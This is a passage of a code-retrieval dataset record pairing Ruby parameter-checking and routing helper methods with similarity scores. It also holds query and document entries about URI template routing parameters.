any_tag_in_params?\n params[:t] != nil\n end", "def has_param(name) \n return (@params.has_key? name)\n end", "def adjacent_params?\n @has_adjacent_params\n end", "def no_search_requested?\n @params.length < 4\n end", "def check_params\n true\n end", "def has_param?(name)\n\n end", "def has_param?(key)\n @params.internal_parameters.has_key?(key)\n end", "def has_search_and_sort_params?\n overlapping_keys = (@params.keys.map(&:to_sym) & search_and_sort_params)\n overlapping_keys.any?\n end", "def has_search_parameters?\n params[:search_field].present? || search_state.has_constraints?\n end", "def valid?\n @params_definition.each { |pd| return false unless @params.has_key?(pd) }\n true\n end", "def has_search_parameters?\n !params[:q].blank? || !params[:f].blank? || !params[:search_field].blank?\n end", "def check_route_params\n request_para = params[:check_route].nil? ? params : params[:check_route]\n request_para.select{|key,value| key.in?(CheckRoute.column_names())}.symbolize_keys\n end", "def valid_params_request?\n !!env[\"devise.allow_params_authentication\"]\n end", "def has_search_parameters?\n !params[:q].blank? or !params[:f].blank? or !params[:search_field].blank?\n end", "def api_has_param?(key)\n @api[:optional].has_key?(key)\n end", "def check_params; true; end", "def has_not_mandatory_params?\n !params[:email].present? || !params[:password].present?\n end", "def auth_params_exist\n auth.key?(:user_id) && auth.key?(:api_key)\n end", "def uses_par?(parameter); @params.values.include?(parameter); end", "def check_path(param)\n return param # unless Nanotek::UriFilter.new(param).has_path?\n end", "def check_required_scope_args(scope, params)\n # make sure we have a hash and it has values\n return false unless params.is_a?(Hash) && params.present?\n # find required values\n required = scope.select{ |k,v| v.to_sym == :req }.keys\n # make sure we have all of the required values, we allow false\n required.all? { |key|\n params[key].present? || params[key] == false\n }\n end", "def valid?(required_params)\n required_params.each do |p|\n return false unless @params_map.key?(p)\n end\n true\n end", "def ensure_param(arg)\n params[arg.to_sym].present?\n end", "def has_missing_required_arg?\n !missing_required_arguments.empty?\n end", "def validate_params?\n true # TODO: add validation\n end", "def check_params *required\n required.each{|p|\n params[p].strip! if params[p] and params[p].is_a? String\n if !params[p] or (p.is_a? String and params[p].length == 0)\n return false\n end\n }\n true\nend", "def check_params *required\n required.each{|p|\n params[p].strip! if params[p] and params[p].is_a? String\n if !params[p] or (p.is_a? String and params[p].length == 0)\n return false\n end\n }\n true\nend", "def required_param_types_present?\n @required_param_types.each do |string|\n return false unless param_classname_present?(string)\n end\n return true\n end", "def is_param_defined(params)\n yield if !params.is_a?(Struct) \n end", "def valid_params_request?; end", "def param_present?(obj)\n @config_params.value?(obj)\n end", "def tiene_filtros?\n params[:especie_id].present? || params[:nombre].present? || (params[:grupo].present? && params[:grupo].any?) || (params[:dist].present? && params[:dist].any?) || (params[:edo_cons].present? && params[:edo_cons].any?) || (params[:uso].present? && params[:uso].any?) || (params[:ambiente].present? && params[:ambiente].present?) || (params[:forma].present? && params[:forma].present?)\n end", "def available?(params)\n unavailability_reasons(params).empty?\n end", "def full_params_include?(value)\n params = request_params\n return false if params.nil?\n each_key_value_for_hash(params) do |param|\n return true if param == value\n end\n false\n end", "def binder_routing_ok?(binder, action)\n\n\t\treturn request.path[0..named_binder_route(binder, action).size - 1] == named_binder_route(binder, action)\n\n\tend", "def exists?(param_name)\n return !@params[param_name].nil?\n end", "def antweb_legacy_route?\n # \"st\" (starts_with) has been deprecated, but it's still used in links on AntWeb.\n params[:st].present? && params[:qq].present?\n end", "def valid_params?(*args)\n args.map { |a| return false if a.nil? || a.to_s.gsub(/\\s/, '').empty? }\n true\n end", "def valid_params?(params)\n params.keys.each do |key|\n unless RealPush::API::App.params_accept.include? key.to_sym\n raise ConfigurationError, \"Invalid parameter! ( #{RealPush::API::App.params_accept.join(', ')} )\"\n end\n end\n true\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def respond_to_missing?(name, include_private = false)\n @params.key?(name) ||\n active_params.any? { |param| param.respond_to_missing?(name) } ||\n super\n end", "def check_params\n # For each key,value in GLOBAL VAR **PARAMS**.\n PARAMS.each do |param, method|\n # Next if there isn't param in the request of client\n next unless params[param]\n # Check the *param* with *method*\n unless send(method, params[param])\n @error_object = \"Param #{param} is wrong, #{method} failed\"\n return false\n end\n end\n true\n end", "def validate_params(params, url)\n missing = []\n params.keys.each do |p|\n if @required_config[get_current_url] and @required_config[get_current_url].keys.include? p\n if params[p] == \"\"\n missing << @required_config[get_current_url][p]\n end\n end\n end\n if missing.any?\n raise \"Parameters #{missing.inspect} must be set to non empty value while posting to #{url}. Please provide.\"\n end\n end", "def has_key?(key)\n params.keys.include?(key)\n end", "def empty_param?(x)\n return true if params[x].nil?\n if params[x].is_a?(String)\n params[x].strip.empty?\n else\n params[x].empty?\n end\n end", "def has_key?(*args)\n @params.has_key?(*args)\n end", "def has_key?(*args)\n @params.has_key?(*args)\n end", "def validate_params_present!\n raise ArgumentError, \"Please provide one or more of: #{ACCEPTED_PARAMS}\" if params.blank?\n end", "def has_param?(name)\n @input.has_key?(name)\n end", "def params_has_key *args\n args.each do |key|\n unless params.has_key? key.to_s\n return false\n end\n end\n return true\nend", "def splash_page_only?\n request.query_parameters.blank?\n end", "def routing_params_with_patterns\n bindings.first&.routing_params_with_patterns || []\n end", "def missing_params\n required_params = manifest.keys.select { |name| manifest.required?(name) }\n required_params - @params.keys\n end", "def has?(param)\n \tparam and param.length > 0\n end", "def is_valid(params)\n i = 0\n while params.length > i\n p params[i]\n if params[i] == nil || params[i] == \"\"\n session[:error] = \"Du missade en parameter! Försök igen.\"\n redirect('/error')\n end\n i += 1\n end\n end", "def optional?\n required.empty? && required_keywords.empty?\n end", "def meets_requirements?(params)\n requirements.reject {|k| params.keys.map(&:to_s).include? k.to_s }.empty?\n end", "def params_include?(value)\n params = request_params\n return false if params.nil?\n each_value_for_hash(params) do |param|\n return true if param == value\n end\n false\n end", "def is_empty_params\n\t\tif user_params[:email].blank? || user_params[:password].blank?\n\t\t\treturn error_log errors:{unauthenticated:[\"Please Provide Proper Parameters\"]}\n\t\tend\n\tend", "def any?\n required? || defaults? || splat? || block_arg?\n end", "def whitelisted_routes\n grack_route? || internal_route? || lfs_route? || sidekiq_route?\n end", "def required_params_present(params, * parameters)\n errors = []\n if params.present?\n parameters.each do |param|\n if params[param].blank?\n errors << \"#{param.to_s}\" if errors.any?\n errors << \"parameter missing: #{param.to_s}\" if errors.empty?\n end\n end\n else\n errors << \"parameters missing\"\n end\n [errors.blank? ? true : false, errors]\n end", "def is_valid(params)\n i = 0\n while params.length > i\n p params[i]\n if params[i] == nil || params[i] == \"\"\n session[:error] = \"You missed a parameter! Try again.\"\n redirect('/error')\n end\n i += 1\n end\n end", "def valid_params?\n params.is_a?(Hash)\n end", "def empty?\n @directions.empty?\n end", "def valid_for_params_auth?\n params_authenticatable? && valid_params_request? &&\n valid_params? && with_authentication_hash(:params_auth, params_auth_hash)\n end", "def ensure_event_parameter?\n no_event_param_redirection unless !params[:event_id].nil? && !Event.find(params[:event_id]).nil?\n end", "def expects?(param)\n expected_params.include? param.to_s\n end", "def valid_params?\n params_auth_hash.is_a?(Hash)\n end", "def check_required_params\n errors = required_params.map { |param, value| raise param_errors[param] if value.nil? }.compact\n raise errors.joins('; ') unless errors.empty?\n end", "def empty_env_robots?(env)\n @_allowed_routes[env] == [] and @_disallowed_routes[env] == []\n end", "def default_path_params\n false\n end", "def strip_params?\n params[:strip_params] == 'true'\n end", "def evernote_params_found?\n unless @evernote_params\n log.error(\"required evernote configuration not found!\")\n false\n else true\n end\n end" ]
[ "0.9036004", "0.78571784", "0.7443052", "0.73993784", "0.7308938", "0.7207467", "0.7188683", "0.7082895", "0.7079854", "0.7043448", "0.70013463", "0.69812226", "0.69679415", "0.6952818", "0.6947983", "0.6936893", "0.6924909", "0.69121695", "0.6910259", "0.69085646", "0.6871739", "0.6844769", "0.6808897", "0.6808897", "0.67944986", "0.6770196", "0.67470735", "0.67030257", "0.66485256", "0.6645799", "0.659863", "0.6595518", "0.6542128", "0.64715886", "0.6469199", "0.6468154", "0.64655894", "0.64565474", "0.64448", "0.6435707", "0.63932395", "0.63837665", "0.63725424", "0.6361629", "0.6351037", "0.63258517", "0.6321818", "0.63159275", "0.62994725", "0.6287482", "0.6268195", "0.626508", "0.6265033", "0.6239874", "0.6225626", "0.6217635", "0.6185383", "0.6167685", "0.6159729", "0.61514753", "0.6149233", "0.61481667", "0.614645", "0.6133504", "0.6130159", "0.61224324", "0.6119704", "0.6113921", "0.61085457", "0.6101951", "0.60770214", "0.6075849", "0.6075849", "0.6075751", "0.60740274", "0.6070397", "0.6066339", "0.60627896", "0.6057337", "0.6047023", "0.60440993", "0.60432404", "0.6039148", "0.6035481", "0.60304904", "0.602857", "0.6026849", "0.60168564", "0.60077566", "0.6005938", "0.59877646", "0.5985824", "0.59543544", "0.59528786", "0.59498376", "0.5942559", "0.59371537", "0.5935172", "0.5932273", "0.59280896" ]
0.89729047
1
The segment key names and their corresponding paterns, including the `` pattern implied for the named segments without pattern explicitly specified.
def routing_params_with_patterns @routing_params_with_patterns ||= begin Gapic::UriTemplate.parse_arguments(path).map do |name, pattern| [name, pattern.empty? ? "*" : pattern] end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def key_segments\n if !@key_segments.present?\n @key_segments ||= path.split('/').map do |s|\n s if s[0] == ':'\n end.compact\n else\n @key_segments\n end\n end", "def join_keys *segments\n segments.map(&:to_s).select(&:present?).join(\".\")\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def keys\n return full_path.to_s.split('.') if full_path\n return [key.to_s] unless path&.present?\n\n [path, key].compact.join('.').split('.')\n end", "def root_key\n segments.first.to_sym\n end", "def convert_to_path_params_segments(some_path)\n segs = strip_bookend_slashes(some_path).split('/')\n \n return segs.map{ |seg|\n if ms = seg.match(/(?<=:)\\w+/)\n ms[0].to_sym\n else\n seg\n end\n }\n end", "def symbol_segments\n segments.select{ |s| s.is_a?(Symbol) }\n end", "def key_name_groups\n KEY_NAME_GROUPS.map { |kn| const_get kn }\n end", "def keys\n [ name ]\n end", "def key_with_separator(separator)\n segments.join(separator)\n end", "def segment_names_a\n [from.value, to.value]\n end", "def route_enclosing_names\n @route_enclosing_names ||= returning(Array.new) do |req|\n enclosing_segments.each do |segment|\n unless segment.is_optional or segment.is_a?(::ActionController::Routing::DividerSegment)\n req << [segment.value, true] if segment.is_a?(::ActionController::Routing::StaticSegment)\n req.last[1] = false if segment.is_a?(::ActionController::Routing::DynamicSegment)\n end\n end\n end\n end", "def version_input_path_keys\n @version_input_path_keys ||= Hash[ version_formats.map{ |v, _| [ v, :\"#{v}\" ] } ]\n end", "def keys(pattern = T.unsafe(nil)); end", "def key_template\n @key_template ||= [*name.downcase.split(\"::\"), \"%<id>d\"].join(\":\")\n end", "def segments; end", "def segments\n if magic32?\n command(:LC_SEGMENT)\n else\n command(:LC_SEGMENT_64)\n end\n end", "def split_key(str)\n if (str =~ /^(.+?)\\\\(.*)$/)\n [ $1, $2 ]\n else\n [ str, nil ]\n end\n end", "def segments\n response = get 'segments'\n response.map{|item| Hashie::Mash.new(item)}\n end", "def base_route_segments\n table_name.to_s\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def get_subgroup_names\n names = Array.new\n @subgroup.keys.each do |key|\n keypcs = key.split/:/\n names << keypcs[1]\n end\n return names\n end", "def key_for(key)\n key_parts = []\n key_parts << @namespace if @namespace && @namespace.length > 0\n \n # Gracefully handles arrays passed here as well, due to the flatten\n key_parts << key\n key_parts.flatten.join ':'\n end", "def keys(key)\n Array(@nesting) + Array(key)\n end", "def slice_names\n self.paths.keys.sort\n end", "def parts\n prefix, parts = split_names(@path)\n prefix.empty? ? parts : [prefix] + parts\n end", "def segmentpairs\n unless defined?(@segmentpairs); parse_segmentpairs; end\n @segmentpairs\n end", "def segments_from_path(path)\n # Remove leading ^ and trailing $ from each segment (left-overs from regexp joining)\n strip = proc { |str| str.gsub(/^\\^/, '').gsub(/\\$$/, '') }\n segments = []\n while match = (path.match(SEGMENT_REGEXP))\n segments << strip[match.pre_match] unless match.pre_match.empty?\n segments << match[2].intern\n path = strip[match.post_match]\n end\n segments << strip[path] unless path.empty?\n segments\n end", "def segments\n if !@segments.present?\n @segments = path.split('/').select { |s| !s.empty? }\n else\n @segments\n end\n end", "def keys\n values.map(&:to_sym)\n end", "def segmentpairs\n unless defined?(@segmentparis); parse_segmentpairs; end\n @segmentpairs\n end", "def key_for(resource_name)\n [prefix, resource_name].join\n end", "def full_key\n [name, key].join(\"/\")\n end", "def keys(*) end", "def routing_keys\n []\n end", "def param_name(key)\n first, *rest = keys(key)\n if first\n v = first.dup\n rest.each do |param|\n v << \"[#{param}]\"\n end\n v\n end\n end", "def keys\n map { |line| line.key }\n end", "def entry_names\n @pairs.keys\n end", "def root_keys; <<~EOS\n . IN DS 19036 8 2 49aac11d7b6f6446702e54a1607371607a1a41855200fd2ce1cdde32f24e8fb5\n . IN DS 20326 8 2 e06d44b80b8f1d39a95c0b0d7c65d08458e880409bbc683457104237c7f8ec8d\n EOS\n end", "def schema\n {\n 'AM'\t=> 'Segment Identification',\n 'EY'\t=> 'Provider ID Qualifier',\n 'E9'\t=> 'Provider ID' }\n end", "def dot_key_array\n return ['label', 'label and hint','message','message error', 'message info','message success','message warning','model','model and menu','action', 'lookup']\n end", "def key\n \"#{@@PREFIX}#{@name.gsub(\" \",\"-\")}\"\n end", "def possible_namespaces\n namespaces = []\n key = @key.to_s\n while (index = key.rindex('_'))\n key = key[0, index]\n namespaces << key.to_sym\n end\n namespaces\n end", "def const_candidates(segments)\n [segments] + segments.map.with_index do |segment, idx|\n candidate = segments[0...(segments.size - (idx + 1))]\n candidate + segments[(segments.size - (idx + 1))..-1].map do |sub_seg|\n \"#{sub_seg}#{suffix}\"\n end\n end\n end", "def keys\n prefixed_keys.map { |key|\n Rack::Attack.unprefix_key(key)\n }\n end", "def keys\n prefixed_keys.map { |key|\n Rack::Attack.unprefix_key(key)\n }\n end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def non_key_segments\n if !@non_key_segments.present?\n @non_key_segments = segments - key_segments\n else\n @non_key_segments\n end\n end", "def segments=(_arg0); end", "def key_from_path(path)\n path.basename.to_s.split('.', 2).first.to_sym\n end", "def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/).map(&:to_sym)\n end", "def parts\n name.split(\" \")\n end", "def part_name(*partition_key_values)\n return collect_first(*partition_key_values, &:part_name)\n end", "def segment (pattern)\n pattern.scan(/[A-Z]?[^A-Z]+|[A-Z]+/)\nend", "def get_directives\n keep = {}\n l = @ext_name.length\n\n return keep if @directives.nil?\n return keep if @directives.empty?\n\n @directives.each do |k, v|\n if k[0, l] == @ext_name\n keep[k] = v\n next\n end\n\n new_key = \"#{@ext_name}.#{k}\"\n keep[new_key] = v\n end\n\n keep\n end", "def stringified_keys; end", "def keys\n fields.map { |f| f.name }\n end", "def missing_keys(route, parts); end", "def split_key(key)\n return [key] if key.match(SPECIAL).nil?\n segments = key.split(/(\\s*\"[^\"]+\"\\s*|\\s*'[^']+'\\s*|[^'\".]+)/)\n if segments.empty?\n # Only happens if the original key was an empty string\n raise yield('Syntax error')\n elsif segments.shift == ''\n count = segments.size\n raise yield('Syntax error') unless count > 0\n\n segments.keep_if { |seg| seg != '.' }\n raise yield('Syntax error') unless segments.size * 2 == count + 1\n segments.map! do |segment|\n segment.strip!\n if segment.start_with?('\"', \"'\")\n segment[1..-2]\n elsif segment =~ /^(:?[+-]?[0-9]+)$/\n segment.to_i\n else\n segment\n end\n end\n else\n raise yield('Syntax error')\n end\n end", "def pattern_names\n # This removes the path and extensions\n patterns.map { |pat| pat.name.gsub(/.*[\\\\\\/]/, '').gsub(/\\..*/, '') }\n end", "def each_key()\n for part in @path\n if part.is_a? String\n\n elsif part.is_a? Symbol\n yield part\n else\n raise \"Invalid path part: #{part}\"\n end\n end\n end", "def keys\n @key\n end", "def keys\n end", "def keys(msg_id)\n KEY_SUFFIXES.map{|suffix| key(msg_id, suffix)}\n end", "def pnames\n @params.keys\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def key\n self.class.name.split(/::/).last.underscore\n end", "def path_with_keys()\n path = []\n\n for part in @path\n if part.is_a? String\n path << part\n elsif part.is_a? Symbol\n path << (yield part)\n else\n raise \"Invalid path part: #{part}\"\n end\n end\n '/' + path.join('/')\n end", "def keys\n end", "def parse_key(key)\n key.gsub(/(\\[|\\])/, \" \").split(/\\s+/)\n end", "def model_keys\n {\n :cluster => :vip_name,\n :command => :command_name,\n :contact => :contact_name,\n :contactgroup => :contactgroup_name,\n :hardwareprofile => :hardware_profile,\n :host => :host_name,\n :hostgroup => :hostgroup_name,\n :service => :name,\n :servicegroup => :servicegroup_name,\n :timeperiod => :timeperiod_name,\n }\n end", "def keys\n @params.keys\n end", "def entry_keys(include_all = true)\n keys = @group.entries(include_all).collect {|e| e.key }\n unless @group.key.blank?\n keys.collect! {|k| k.gsub(@group.key + '.', '') }\n end\n keys\n end", "def keys\n end", "def keys\n end", "def keys\n end", "def parse_key(keys)\n keys.tr(\"^a-zA-Z0-9 \", \" \").squeeze(\" \").strip.split(\" \")\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def get_params(path)\n values = [] # values from the URL path\n params = {} # params hash to be built\n\n if segmented_path?\n path_segments = path.split('/').select { |s| !s.empty? }\n\n # remove the segments that are NOT keys, don't have ':' in the\n # segment name.\n # values will ONLY be the set of non keys.\n values = path_segments - non_key_segments\n\n # For every key segment from this route's path\n key_segments.each_with_index do |key, i|\n # set the params hash key from one key segment for this route.\n # and the corresponding value from the URL path segment.\n params[key.gsub(':', '').to_sym] = values[i]\n end\n end\n params\n end", "def keys\n\n (@services.keys + conf.keys).uniq.sort\n end", "def keys\n self.map('lambda{|(key, _)| key}')\n end", "def prefix_key\n if @struct.prefix_key.size > 0\n @struct.prefix_key[0..-1 - options[:prefix_delimiter].size]\n else\n \"\"\n end\n end", "def qualified_key\n [@env.namespace.to_s, @key].reject(&:empty?).compact.join('.')\n end", "def keys\n struct.keys\n end", "def keys\n out = [ ]\n @source.keys.each do |key|\n if key.starts_with?(@prefix)\n out << key[@prefix.length..-1]\n else\n out << key\n end\n end\n out\n end", "def parse_key(key)\n key.split(/\\[|\\]\\[|\\]/)\n end", "def key(*args)\n args.compact.join(\"/\")\n end", "def naming_pattern=(v)\n segment_naming.pattern = v\n end", "def key\n name = self.class.name.split(\"::\").last\n Util.underscore(name).to_sym\n end", "def parse_key(key)\n key.dup.split(/\\]\\[|\\[|\\]/)\n end" ]
[ "0.7284555", "0.6571546", "0.6342488", "0.6342488", "0.62488645", "0.6219218", "0.6181029", "0.60866725", "0.60758483", "0.5919383", "0.5876046", "0.5783368", "0.57100004", "0.56995183", "0.5687657", "0.56691116", "0.5622425", "0.56072176", "0.5570841", "0.5570313", "0.5550908", "0.5537371", "0.5514791", "0.5510381", "0.5508493", "0.55038434", "0.54903346", "0.5483366", "0.54827476", "0.5478164", "0.54694587", "0.54617757", "0.5441766", "0.54367316", "0.5421343", "0.5406103", "0.53931236", "0.53926593", "0.53584397", "0.5357555", "0.5327032", "0.5326542", "0.5323938", "0.5307732", "0.5305721", "0.53049177", "0.53049177", "0.5275866", "0.5275866", "0.5275866", "0.5275866", "0.5275866", "0.5275866", "0.5275866", "0.5275866", "0.5275866", "0.52734315", "0.52719915", "0.52648985", "0.5264328", "0.52586097", "0.5257324", "0.525711", "0.52532846", "0.524111", "0.5239314", "0.5226554", "0.5223581", "0.52204174", "0.51986104", "0.51912016", "0.51884204", "0.51823705", "0.5169773", "0.51654613", "0.51654613", "0.5155693", "0.5155244", "0.51535964", "0.5147771", "0.5144215", "0.5137914", "0.51347536", "0.5119296", "0.5119296", "0.5119296", "0.5118987", "0.5117434", "0.5117434", "0.51095307", "0.5105006", "0.51005137", "0.50966835", "0.509436", "0.5083938", "0.5081584", "0.5077991", "0.5077959", "0.5067844", "0.50603366", "0.5056254" ]
0.0
-1
The segment key names.
def routing_params routing_params_with_patterns.map { |param, _| param } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def key_segments\n if !@key_segments.present?\n @key_segments ||= path.split('/').map do |s|\n s if s[0] == ':'\n end.compact\n else\n @key_segments\n end\n end", "def key_name_groups\n KEY_NAME_GROUPS.map { |kn| const_get kn }\n end", "def keys\n [ name ]\n end", "def keys\n map { |line| line.key }\n end", "def list_keys()\n # TODO\n end", "def key_ids\n @keys.keys\n end", "def keys\n @key\n end", "def keys\n return full_path.to_s.split('.') if full_path\n return [key.to_s] unless path&.present?\n\n [path, key].compact.join('.').split('.')\n end", "def keys\n values.map(&:to_sym)\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def list_keys\n @keys.keys\n end", "def entry_names\n @pairs.keys\n end", "def keys\n\n (@services.keys + conf.keys).uniq.sort\n end", "def keys\n map(&:key)\n end", "def keys\n end", "def list_keys\n @keydict.keys\n end", "def keys\n fields.map { |f| f.name }\n end", "def root_key\n segments.first.to_sym\n end", "def keys\n prefixed_keys.map { |key|\n Rack::Attack.unprefix_key(key)\n }\n end", "def keys\n prefixed_keys.map { |key|\n Rack::Attack.unprefix_key(key)\n }\n end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys\n @data.keys.sort.collect { |k| k.to_sym }\n end", "def keys\n @service_points.keys\n end", "def keys\n index.keys.collect {|keys| keys.to_s }\n end", "def join_keys *segments\n segments.map(&:to_s).select(&:present?).join(\".\")\n end", "def keys\n @hash.keys\n end", "def keys\n @hash.keys\n end", "def keys\n end", "def keys\n @navigable_map.key_set.to_a\n end", "def keys\n end", "def keys\n end", "def keys\n end", "def keys\n return [], []\n end", "def keys\n DoesKeyValue::State.instance.keys[self.to_s]\n end", "def keys\n @hash.keys\n end", "def keys\n @hash.keys\n end", "def keys\n @hash.keys\n end", "def keys(msg_id)\n KEY_SUFFIXES.map{|suffix| key(msg_id, suffix)}\n end", "def keys\n keys = []\n each_pair {|k,v| keys << k}\n keys\n end", "def get_keys()\n\t\t\treturn @config.keys\n\t\tend", "def keys(key)\n Array(@nesting) + Array(key)\n end", "def keys\n list = []\n each_key{|key| list << key}\n list\n end", "def keys\n @keys ||= fields.order(:fieldnum).select do |field|\n field.useedit & 1 == 1\n end.map do |field|\n field.fieldname.downcase\n end\n end", "def keys\n attribute_nodes.map(&:node_name)\n end", "def keys\n lookup_map.keys\n end", "def keys\n @ledger.keys\n end", "def keys\n\n self.to_h.keys\n end", "def keys\n return []\n end", "def keys\n @map.keys\n end", "def model_keys\n {\n :cluster => :vip_name,\n :command => :command_name,\n :contact => :contact_name,\n :contactgroup => :contactgroup_name,\n :hardwareprofile => :hardware_profile,\n :host => :host_name,\n :hostgroup => :hostgroup_name,\n :service => :name,\n :servicegroup => :servicegroup_name,\n :timeperiod => :timeperiod_name,\n }\n end", "def keys() end", "def keys\n entries.keys\n end", "def slice_names\n self.paths.keys.sort\n end", "def keys\n self.map('lambda{|(key, _)| key}')\n end", "def keys\n raise \"Must implement #{self.class.name}#keys method to return lookup key\"\n end", "def keys\n Results::KeyOccurrences.merge_keys collect_results.flatten(1)\n end", "def segment_names_a\n [from.value, to.value]\n end", "def keys\n @config.keys\n end", "def keys\n\t\t\treturn @storage.keys\n\t\tend", "def env_keys\n mapping.values\n end", "def keys\n @children.map(&:title)\n end", "def keys(*) end", "def keys\n config.resolver.keys(_container)\n end", "def keys\n @params.keys\n end", "def keys\n @disk.keys\n end", "def list\n @keychain.keys\n end", "def keys\n configuration.keys\n end", "def keyname(key)\n\t\t@keynames[key]\n\tend", "def keys\n @map.keys\n end", "def hkeys(key); end", "def hkeys(key); end", "def keys(carrier)\n carrier.keys\n end", "def keyspace_names\n @keyspaces.keys\n end", "def scope_names\n keys.map { |k| k.to_s }\n end", "def keys\n\t\t@name_table\n\tend", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def keys\n messages.keys\n end", "def keys\n messages.keys\n end", "def keys\n return @keys if defined?(@keys)\n @keys = all.map do |tone|\n Key.from_index(tone.tone, tone.letter_index)\n end\n end", "def claimed_keys\n [key]\n end", "def keys\n @keys ||= LicenseField.all.map(&:key)\n end", "def get_key_list\n read(Common::KEY) || Hash.new\n end", "def keys_and_usernames\n keys.map do |key|\n [key[0], key[1]].join(' ')\n end\n end", "def keys\n struct.keys\n end", "def keys\n @data.keys\n end", "def keys\n @data.keys\n end", "def keys\n @keys||= [:token, :message, :title, :device, :priority]\n end", "def keys\n [Array(hash_keys) + Array(range_keys)].flatten.uniq\n end", "def keys\n [Array(hash_keys) + Array(range_keys)].flatten.uniq\n end", "def keys\n Keys[to_attr_list]\n end", "def stringified_keys; end", "def symbol_segments\n segments.select{ |s| s.is_a?(Symbol) }\n end" ]
[ "0.72355264", "0.69796073", "0.6958803", "0.69474083", "0.6828452", "0.68261296", "0.6821403", "0.67669874", "0.6744342", "0.67078567", "0.67078567", "0.6695498", "0.66832167", "0.66295815", "0.66270834", "0.6599913", "0.6597511", "0.655746", "0.6554782", "0.6551004", "0.6551004", "0.654545", "0.654545", "0.654545", "0.654545", "0.654545", "0.654545", "0.654545", "0.654545", "0.654545", "0.6531692", "0.6494213", "0.64856285", "0.6474796", "0.64718646", "0.64718646", "0.64550006", "0.64243823", "0.641469", "0.641469", "0.641469", "0.64124733", "0.6412403", "0.63761866", "0.63761866", "0.63761866", "0.6362889", "0.6354936", "0.63393813", "0.63368976", "0.63345873", "0.6315211", "0.6297061", "0.62966025", "0.6295427", "0.6288467", "0.6285941", "0.6277628", "0.62694246", "0.6244968", "0.62441605", "0.62415594", "0.62249595", "0.6189917", "0.61882055", "0.6168949", "0.6166628", "0.6156324", "0.6143831", "0.6129557", "0.61224484", "0.6121549", "0.6119459", "0.6118814", "0.6117853", "0.60966426", "0.60950845", "0.60812014", "0.6079147", "0.6079147", "0.6078587", "0.6070529", "0.6064982", "0.60590804", "0.6051352", "0.6047176", "0.6047176", "0.60453147", "0.604322", "0.60269564", "0.6026854", "0.6022544", "0.6005854", "0.6005839", "0.6005839", "0.6003801", "0.59990144", "0.59990144", "0.599814", "0.599699", "0.5995842" ]
0.0
-1
Whether method has body specified in proto
def body? !body.empty? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def must_have_body?\n Methods[@method].must_have_body\n end", "def can_have_body?\n Methods[@method].can_have_body\n end", "def body?\n HTTY::Request::METHODS_SENDING_BODY.include? method\n end", "def has_body?\n @body\n end", "def primitive?\n Proc === @body\n end", "def body?\n\t\t\t\t\t@body and !@body.empty?\n\t\t\t\tend", "def body_allowed?\n @status.allows_body? && @request_method.allows_body?\n end", "def respond_to?(method, include_private = false)\n return @message.respond_to?(method) || super\n end", "def method_defined?(p0) end", "def method?\n type == TYPE_METHOD\n end", "def method?\n type == TYPE_METHOD\n end", "def tagMethod?()\r\n\t\tlang = language()\r\n\t\treturn (@type == \"m\" || @type==\"f\") if (lang == \"java\")\r\n\t\treturn (@type == \"f\") if (lang == \"cpp\")\r\n\tend", "def respond_to?(message, include_private = T.unsafe(nil)); end", "def method_defined?(arg0)\n end", "def celestialBody?\n\t\trawString.start_with? 'c'\n\tend", "def body_contains\n return @body_contains\n end", "def valid_body?(response, service)\n return true unless service[:body_match]\n\n response.body =~ service[:body_match]\n end", "def has_response_body?\n !response.body.nil? && !response.body.empty?\n end", "def assert_has_method(body, *methods)\n methods.each do |name|\n assert body =~ /^\\s*def #{name}(\\(.+\\))?\\n((\\n| .*\\n)*) end/, \"should have method #{name}\"\n yield(name, $2) if block_given?\n end\n end", "def assert_has_method(body,*methods)\n methods.each do |name|\n assert body=~/^ def #{name.to_s}\\n((\\n| .*\\n)*) end/,\"should have method #{name.to_s}\"\n yield( name, $1 ) if block_given?\n end\n end", "def assert_has_method(body, *methods)\n methods.each do |name|\n assert body =~ /^ def #{name}(\\(.+\\))?\\n((\\n| .*\\n)*) end/, \"should have method #{name}\"\n yield(name, $2) if block_given?\n end\n end", "def respond_to?(meth)\n\t\ttrue\n\tend", "def RESPOND?(message)\n @it.respond_to?(message)\n end", "def respond_to?(method)\n return super unless part(method)\n part(method)\n end", "def respond_to?(method_name)\n super || rpc_methods.include?(method_name.to_sym)\n end", "def valid_body?\n request.feedback.body && valid_json?(request.feedback.body)\n end", "def method?(meth)\n get_method(meth)\n end", "def done_body?\n done?\n end", "def public_method_defined?(p0) end", "def respond_to?(method_name, include_private = false)\n true\n end", "def commit_body? str\n not str.start_with? '*'\nend", "def empty?\n body.nil? || ( body.respond_to?(:size) && body.size == 0 )\n end", "def public_method_defined?(arg0)\n end", "def respond_to?(method_id, include_private = false)\r\n if method_id.to_s =~ /^mark_as_([a-z]+)_for\\!$/ || method_id.to_s =~ /^mark_as_not_([a-z]+)_for\\!$/ || method_id.to_s =~ /^check_([a-z]+)_for\\?$/\r\n true\r\n else\r\n super\r\n end\r\n end", "def 